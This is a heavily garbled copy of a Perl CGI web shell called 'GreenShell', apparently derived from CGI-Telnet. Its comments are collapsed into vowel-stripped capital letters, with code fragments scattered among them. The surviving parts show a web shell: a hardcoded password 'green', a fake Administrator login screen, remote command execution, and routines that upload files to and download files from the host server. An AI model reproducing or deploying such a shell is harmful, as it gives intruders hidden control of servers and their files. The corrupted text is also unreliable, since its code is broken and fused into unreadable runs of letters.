SRINPERLISRLCALANDMINSEMIMEASEVERSINCGITELNETVERSIN@$EditPersion="GreenShell";@PASSWRDGREENCHANGETHISYWILLNEEDTENTERTHISTLGINSISWINSTRIMENVSERVERSFTWAREIFSMWINIRETRNELSERETRNWINNTISWINYNEEDTCHANGETHEVALEFTHISTIFYRERNNINGTHISSCRIPTNAWINDWSNTMACHINEIFYRERNNINGITNNIYCANLEAVETHEVALEASITISNTCMDSEPTHISCHARACTERISSEDTSEPERATECMMANDSINACMMANDLINENWINDWSNTNICMDSEPTHISCHARACTERISSEDTSEPERATECMMANDSINACMMANDLINENNICMMANDTIMETDRATINTIMEINSECNDSAFTERCMMANDSWILLEKILLEDDNTSETTHISTAVERYLARGEVALETHISISSEFLFRCMMANDSTHATMAYHANGRTHATTAKEVERYLNGTEECTELIKEFINDTHISISVALIDNLYNNISERVERSITISIGNREDNNTSERVERSSHWDYNAMICTPTIFTHISISTHENDATAISSENTTTHERWSERASSNASITISTPTTHERWISEITISFFEREDANDSENDWHENTHECMMANDCMPLETESTHISISSEFLFRCMMANDSLIKEPINGSTHATYCANSEETHETPTASITISEINGGENERATEDDNTCHANGEANYTHINGELWTHISLINENLESSYKNWWHATYREDINGCMDSEPWINNTNTCMDSEPNICMDSEPCMDPWDWINNTCDPWDPATHSEPWINNT@$Redirector = ($WinNT ? " 2>&1 1>&2" : " 1>&1 2>&1");@CLSRWSREADSTHEINPTSENTYTHERWSERANDPARSESTHEINPTVARIALESITPARSESGETPSTANDMLTIPARTFRMDATATHATISSEDFRPLADINGFILESTHEFILENAMEISSTREDININFANDTHEDATAISSTREDININFILEDATATHERVARIALESCANEACCESSEDSINGINVARWHEREVARISTHENAMEFTHEVARIALENTEMSTFTHECDEINTHISFNCTINISTAKENFRMTHERCGISCRIPTSSREADPARSELCALINIFLCALILCKEYVALMLTIPARTFRMDATAENVCNTENTTYPEMLTIPARTFRMDATANDARYIFENVREQESTMETHDEQGETINENVQERYSTRINGELSIFENVREQESTMETHDEQPSTINMDESTDINIFMLTIPARTFRMDATAWINNTREADSTDININENVCNTENTLENGTHHANDLEFILEPLADDATAIFENVCNTENTTYPEMLTIPARTFRMDATANDARYNDARYPLEASEREFERTRFCLISTSPLITNDARYINHEADERDYLISTHEADERDYRNRNNNHEADERDYDYSRNTHELASTRNWASPTINYNETSCAPEINFILEDATADYHEADERFILENAMEINFINFSGINFSSGPARSETRAILERFRILISTIILISTISNAMELISTIWKEYVALVALSRNRNNNRNNGVALSPACKCHEGEINKEYVALELSESTANDARDPSTDATARLENCDEDNTMLTIPARTINSPLITINFREACHIININISGKEYVALSPLITINIKEYSPACKCHEGEVALSPACKCHEGEINKEYIFDEFINEDINKEYINKEYVALPRINTSTHEHTMLPAGEHEADERARGMENTFRMITEMNAMETWHICHFCSSHLDESETSPRINTPAGEHEADERENCDEDCRRENTDIRCRRENTDIRENCDEDCRRENTDIRSAANPACKHEGMYDIRCRRENTDIRDIRSGPRINTCNTENTTYPETETHTMLNNPRINTEND@@
@@Green Shell@HTMLMETAHEADER@@@@@@@@ENDPRINTSTHELGINSCREENSPRINTLGINSCREENPRINTEND@@
@Green SHell
Password : green
@@@@ Please Wait . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . @ Trying connect to Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . @~\$ Connected ! @$ServerName~ Checking Server . . . . . . . . . . . . . . . . . . . @$ServerName~ Trying connect to Command . . . . . . . . . . . @$ServerName~\$ Connected Command! @$ServerName~\$ OK! You can kill it!@ |
@
@
@@ENDADDHTMLSPECIALCHARSSHTMLSPECIALCHARSMYTETSHIFTTETSAMPGTETSQTGTETSGTETSLTG@ $text =~ s/>/>/g;@RETRNTETADDLINKFRDIRECTRYSADDLINKDIRMYACSHIFTMYDIRIFWINNTDIRSPLITCRRENTDIRELSEDIRSPLITTRIMCRRENTDIRMYPATHMYRESLTFREACHDIRPATHPATHSEP@ $result.="".$_.$PathSep."";@RETRNRESLTPRINTSTHEMESSAGETHATINFRMSTHESERFAFAILEDLGINSPRINTLGINFAILEDMESSAGEPRINTEND@
Login : Administrator
@Password:
@Login incorrect
@ENDPRINTSTHEHTMLFRMFRLGGINGINSPRINTLGINFRMPRINTEND@@ENDPRINTSTHEFTERFRTHEHTMLPAGESPRINTPAGEFTER@ print "
";@RETREIVESTHEVALESFALLCKIESTHECKIESCANEACCESSESSINGTHEVARIALECKIESSGETCKIESHTTPCKIESSPLITENVHTTPCKIEFREACHCKIEHTTPCKIESIDVALSPLITCKIECKIESIDVALPRINTSTHESCREENWHENTHESERLGSTSPRINTLGTSCREEN@ print "Connection closed by foreign host.
";@LGSTTHESERANDALLWSTHESERTLGINAGAINSPERFRMLGTPRINTSETCKIESAVEDPWDNREMVEPASSWRDCKIEPRINTPAGEHEADERPPRINTLGTSCREENPRINTLGINSCREENPRINTLGINFRMPRINTPAGEFTEREITTHISFNCTINISCALLEDTLGINTHESERIFTHEPASSWRDMATCHESITDISPLAYSAPAGETHATALLWSTHESERTRNCMMANDSIFTHEPASSWRDDENSTMATCHRIFNPASSWRDISENTEREDITDISPLAYSAFRMTHATALLWSTHESERTLGINSPERFRMLGINIFLGINPASSWRDEQPASSWRDPASSWRDMATCHEDPRINTSETCKIESAVEDPWDLGINPASSWRDNPRINTPAGEHEADERPRINTLISTDIRELSEPASSWRDDIDNTMATCHPRINTPAGEHEADERPPRINTLGINSCREENIFLGINPASSWRDNESMEPASSWRDWASENTEREDPRINTLGINFAILEDMESSAGEPRINTLGINFRMPRINTPAGEFTEREITPRINTSTHEHTMLFRMTHATALLWSTHESERTENTERCMMANDSSPRINTCMMANDLINEINPTFRM@ my $dir= "".&AddLinkDir("command")."";@ $Prompt = $WinNT ? "$dir > " : "[admin@$ServerName $dir]\$ ";@RETRNEND@@ENDPRINTSTHEHTMLFRMTHATALLWSTHESERTDWNLADFILESSPRINTFILEDWNLADFRMMYDIRADDLINKDIRDWNLAD@ $Prompt = $WinNT ? "$dir > " : "[admin@$ServerName $dir]\$ ";@RETRNEND@@ENDPRINTSTHEHTMLFRMTHATALLWSTHESERTPLADFILESSPRINTFILEPLADFRMMYDIRADDLINKDIRPLAD@ $Prompt = $WinNT ? "$dir > " : "[admin@$ServerName $dir]\$ ";@RETRNEND@@ENDTHISFNCTINISCALLEDWHENTHETIMETFRACMMANDEPIRESWENEEDTTERMINATETHESCRIPTIMMEDIATELYTHISFNCTINISVALIDNLYNNIITISNEVERCALLEDWHENTHESCRIPTISRNNINGNNTSCMMANDTIMETIFWINNTALARMRETRNEND@@
@Command exceeded maximum time of $CommandTimeoutDuration second(s).@
Killed it!@ENDTHISFNCTINDISPLAYSTHEPAGETHATCNTAINSALINKWHICHALLWSTHESERTDWNLADTHESPECIFIEDFILETHEPAGEALSCNTAINSAATREFRESHFEATRETHATSTARTSTHEDWNLADATMATICALLYARGMENTFLLYQALIFIEDFILENAMEFTHEFILETEDWNLADEDSPRINTDWNLADLINKPAGELCALFILERLMYRESLTIFEFILERLIFTHEFILEEISTSENCDETHEFILELINKSWECANSENDITTTHERWSERFILERLSAANPACKHEGDWNLADLINKSCRIPTLCATINADWNLADFFILERLG@ $HtmlMetaHeader = "";@PRINTPAGEHEADERCRESLTEND@Sending File $TransferFile...
@IFTHEDWNLADDESNTSTARTATMATICALLY@Click Here@ENDRESLTPRINTCMMANDLINEINPTFRMELSEFILEDESNTEISTRESLTFAILEDTDWNLADFILERLRESLTPRINTFILEDWNLADFRMRETRNRESLTTHISFNCTINREADSTHESPECIFIEDFILEFRMTHEDISKANDSENDSITTTHERWSERSTHATITCANEDWNLADEDYTHESERARGMENTFLLYQALIFIEDPATHNAMEFTHEFILETESENTSSENDFILETRWSERMYRESLTLCALSENDFILEIFPENSENDFILESENDFILEFILEPENEDFRREADINGIFWINNTINMDESENDFILEINMDESTDTFILESIESTATSENDFILEFILENAMESENDFILEMPRINTCNTENTTYPEAPPLICATINNKNWNNPRINTCNTENTLENGTHFILESIENPRINTCNTENTDISPSITINATTACHMENTFILENAMENN@ print while();@CLSESENDFILEEITELSEFAILEDTPENFILERESLTFAILEDTDWNLADSENDFILERESLTPRINTFILEDWNLADFRMRETRNRESLTTHISFNCTINISCALLEDWHENTHESERDWNLADSAFILEITDISPLAYSAMESSAGETTHESERANDPRVIDESALINKTHRGHWHICHTHEFILECANEDWNLADEDTHISFNCTINISALSCALLEDWHENTHESERCLICKSNTHATLINKINTHISCASETHEFILEISREADANDSENTTTHERWSERSEGINDWNLADGETFLLYQALIFIEDPATHFTHEFILETEDWNLADEDIFWINNTTRANSFERFILEMWINNTTRANSFERFILEMPATHISASLTETARGETFILETRANSFERFILEELSEPATHISRELATIVECHPTARGETFILEIFTARGETFILECRRENTDIRMTARGETFILEPATHSEPTRANSFERFILEIFPTINSEQGWEHAVETSENDTHEFILESENDFILETRWSERTARGETFILEELSEWEHAVETSENDNLYTHELINKPAGEPRINTDWNLADLINKPAGETARGETFILETHISFNCTINISCALLEDWHENTHESERWANTSTPLADAFILEIFTHEFILEISNTSPECIFIEDITDISPLAYSAFRMALLWINGTHESERTSPECIFYAFILETHERWISEITSTARTSTHEPLADPRCESSSPLADFILEIFNFILEISSPECIFIEDPRINTTHEPLADFRMAGAINIFTRANSFERFILEEQRETRNPRINTFILEPLADFRMMYRESLTSTARTTHEPLADINGPRCESS@ $result .= "Uploading $TransferFile to $CurrentDir...
";@GETTHEFLLLYQALIFIEDPATHNAMEFTHEFILETECREATEDCHPTARGETNAMEIFTARGETNAMECRRENTDIRMTRANSFERFILEMTARGETNAMEPATHSEPTARGETFILESIELENGTHINFILEDATAIFTHEFILEEISTSANDWEARENTSPPSEDTVERWRITEITIFETARGETNAMEPTINSNEVERWRITE@ $result .= "Failed: Destination file already exists.
";@ELSEFILEISNTPRESENT@ if(open(UPLOADFILE, ">$TargetName"))@INMDEPLADFILEIFWINNTPRINTPLADFILEINFILEDATACLSEPLADFILE@ $result .= "Transfered $TargetFileSize Bytes.
";@ $result .= "File Path: $TargetName
";@ELSE@ $result .= "Failed: $!
";@RESLTPRINTCMMANDLINEINPTFRMRETRNRESLTTHISFNCTINISCALLEDWHENTHESERWANTSTDWNLADAFILEIFTHEFILENAMEISNTSPECIFIEDITDISPLAYSAFRMALLWINGTHESERTSPECIFYAFILETHERWISEITDISPLAYSAMESSAGETTHESERANDPRVIDESALINKTHRGHWHICHTHEFILECANEDWNLADEDSDWNLADFILEIFNFILEISSPECIFIEDPRINTTHEDWNLADFRMAGAINIFTRANSFERFILEEQPRINTPAGEHEADERFRETRNPRINTFILEDWNLADFRMGETFLLYQALIFIEDPATHFTHEFILETEDWNLADEDIFWINNTTRANSFERFILEMWINNTTRANSFERFILEMPATHISASLTETARGETFILETRANSFERFILEELSEPATHISRELATIVECHPTARGETFILEIFTARGETFILECRRENTDIRMTARGETFILEPATHSEPTRANSFERFILEIFPTINSEQGWEHAVETSENDTHEFILERETRNSENDFILETRWSERTARGETFILEELSEWEHAVETSENDNLYTHELINKPAGERETRNPRINTDWNLADLINKPAGETARGETFILETHISFNCTINISCALLEDTEECTECMMANDSITDISPLAYSTHETPTFTHECMMANDANDALLWSTHESERTENTERANTHERCMMANDTHECHANGEDIRECTRYCMMANDISHANDLEDDIFFERENTLYINTHISCASETHENEWDIRECTRYISSTREDINANINTERNALVARIALEANDISSEDEACHTIMEACMMANDHASTEEECTEDTHETPTFTHECHANGEDIRECTRYCMMANDISNTDISPLAYEDTTHESERSTHEREFREERRRMESSAGESCANNTEDISPLAYEDSEECTECMMANDMYRESLTIFRNCMMANDMSCDSITISACHANGEDIRCMMANDWECHANGETHEDIRECTRYINTERNALLYTHETPTFTHECMMANDISNTDISPLAYEDCMMANDCDCRRENTDIRCMDSEPCDCMDSEPCMDPWDCHPCRRENTDIRCMMANDRESLTPRINTCMMANDLINEINPTFRM@ $result .= "Command: $RunCommand